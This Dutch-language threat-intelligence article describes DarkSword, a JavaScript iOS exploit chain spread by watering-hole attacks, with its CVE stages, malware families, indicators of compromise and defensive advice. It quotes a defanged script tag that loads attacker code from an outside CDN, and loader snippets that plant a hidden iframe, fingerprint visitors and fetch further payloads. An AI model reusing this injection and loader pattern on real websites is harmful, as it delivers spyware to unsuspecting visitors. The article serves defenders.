DarkSword markeert een nieuwe stap in iOS-exploitatie. Actief sinds ten minste november 2025 koppelt deze volledige exploitketen meerdere kwetsbaarheden — waarvan enkele zero-days — om iOS-apparaten volledig te compromitteren. De vermoedelijk Russische spionagegroep UNC6353 verspreidt de keten via watering-hole-aanvallen door kwaadaardige script-tags te injecteren in legitieme, gecompromitteerde websites. De kern van het probleem is de aflevering: de client-side omgeving van een website wordt een vector voor een door een natiestaat ontwikkelde exploit die bezoekers aanvalt.
Hoe de DarkSword-exploitketen werkt
Eerdere iOS-exploitkits maakten gebruik van binaire componenten. DarkSword kiest een andere aanpak: de volledige keten is geschreven in JavaScript. Door in elke fase in JavaScript te blijven, vermijden de aanvallers binaire beveiligingsmaatregelen zoals Apple's Page Protection Layer (PPL) en Secure Page Table Monitor (SPTM). De keten richt zich op iOS-versies in het bereik 18.4–18.7 en werkt via meerdere fasen die escaleren van geheugenkorruptie in de browser naar volledige kernelprivileges.
Exploitfasen
| Exploitfase | Kwetsbaarheid | Beschrijving | Zero-day? |
|---|---|---|---|
| Remote Code Execution (RCE) | CVE-2025-31277 / CVE-2025-43529 | Geheugenkorruptie in JavaScriptCore (JIT-typeverwarring en GC-bugs). | CVE-2025-43529 was een zero-day |
| PAC-bypass | CVE-2026-20700 | Bypass van Pointer Authentication Code in user-mode in dyld. | Ja |
| WebContent sandbox-escape | CVE-2025-14174 | Geheugenkorruptie in ANGLE, met ontsnapping naar het GPU-proces. | Ja |
| GPU sandbox-escape | CVE-2025-43510 | Geheugenbeheerkvwetsbaarheid in de iOS-kernel, met pivot naar mediaplaybackd. | Nee |
| Privilege-escalatie | CVE-2025-43520 | Geheugenkorruptie in de iOS-kernel, waarmee volledige kernelprivileges worden verkregen. | Nee |
Na een volledige compromittering plaatst de exploit een van drie JavaScript-gebaseerde malwarefamilies: GHOSTBLADE, GHOSTKNIFE of GHOSTSABER. Deze fungeren als dataminers en backdoors die iMessages, cryptocurrency-walletgegevens, locatiegeschiedenis en opgeslagen WiFi-wachtwoorden exfiltreren.
Voorbeeld van debuggingcode
Debuggingcode en commentaar die in de payloads zijn achtergelaten, tonen de intentie van de auteurs. GHOSTBLADE bevat functies om kernelgeheugen te hexdumpen en richt zich specifiek op WiFi-inloggegevens:
const TAG = "DarkSword-WIFI-DUMP";
function kdump(where, size, msg = "") {
LOG(`[+] ----------- ${msg} ----------`);
for (let i = 0n; i < size; i += 0x10n) {
LOG(`[+] [${i.hex()}] ${(where + i).hex()}: ${early_kread64(where + i).hex()} ${early_kread64(where + i + 8n).hex()}`);
}
}
Hoe DarkSword watering-hole-aanvallen gebruikt om iOS-apparaten te infecteren
UNC6353 compromitteert legitieme websites en maakt er watering holes van. Wanneer een doelwit een van deze sites bezoekt, wordt de aanval stil op de achtergrond uitgevoerd zonder gebruikersinteractie. De aanval begint doorgaans met één geïnjecteerde tag die er in de HTML onschuldig uitziet, maar vervolgens door aanvallers beheerde JavaScript laadt van een CDN van een derde partij.
Voorbeeld (weergegeven als escaped tekst om het insluiten van een echte script-tag te vermijden):
<script async src="hxxps://static[.]cdncounter[.]net/widgets[.]js?uhfiu27fajf2948fjfefaa42"></script>
Vanaf dat punt verloopt de aanval via client-side operaties. De loader kan verborgen iframes van 1x1 pixel aanmaken, sessionStorage gebruiken om slachtoffers te volgen en te fingerprinting, en aanvullende verduisterde payloads ophalen via synchrone XHR's. Omdat alle acties gebruikmaken van standaard web-API's, gaan ze op in normale browseractiviteit — tenzij de client-side omgeving wordt gemonitord.
if (!sessionStorage.getItem("uid") && isTouchScreen) {
sessionStorage.setItem("uid", '1');
const frame = document.createElement("iframe");
frame.src = "frame.html?" + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = "none";
document.body.appendChild(frame);
} else {
top.location.href = "red";
}
function getJS(fname,method = 'GET') {
try {
url = fname;
print(`trying to fetch ${method} from: ${url}`);
let xhr = new XMLHttpRequest();
xhr.open("GET", `${url}` , false);
xhr.send(null);
return xhr.responseText;
} catch(e) {
print("got error in getJS: " + e);
}
}
Waarom traditionele beveiligingsmaatregelen DarkSword missen
DarkSword legt een blinde vlek bloot in de meeste beveiligingsopstellingen. Perimeterbeveiliging, WAF's en veel endpoint-detectietools zien geen activiteit binnen de browser. De gecompromitteerde website levert wat eruitziet als een normale client-side resource, terwijl de daadwerkelijke exploit wordt geladen vanaf een domein van een derde partij. Verdediging tegen deze aanvallen vereist zichtbaarheid in client-side uitvoering en de mogelijkheid om afwijkend browsergedrag te detecteren.
Indicatoren van compromittering
- Onverwachte script-tags die laden van onbekende of verdachte domeinen;
- Verborgen iframes met afmetingen van 1x1 pixel, bijna-nul-opaciteit of plaatsing buiten het scherm;
- Ongebruikelijke sessionStorage- of localStorage-wijzigingen door ongeautoriseerde scripts;
- XHR- of Fetch-verzoeken die aanvullende verduisterde JavaScript-payloads ophalen.
Hoe u zich kunt verdedigen tegen DarkSword en watering-hole-aanvallen
Apple heeft de DarkSword-kwetsbaarheden gepatcht in iOS 26.3 en gebruikers moeten onmiddellijk updaten. Maar het patchen van endpoints pakt slechts één laag aan. Zolang aanvallers legitieme websites kunnen compromitteren en als aflevervehicle kunnen gebruiken, zullen watering-hole-aanvallen doorgaan. Websitebeheerders moeten supply chains versterken, monitoren op ongeautoriseerde injecties en client-side monitoring gebruiken om kwaadaardige scriptuitvoering te detecteren voordat payloads zoals DarkSword worden geplaatst.






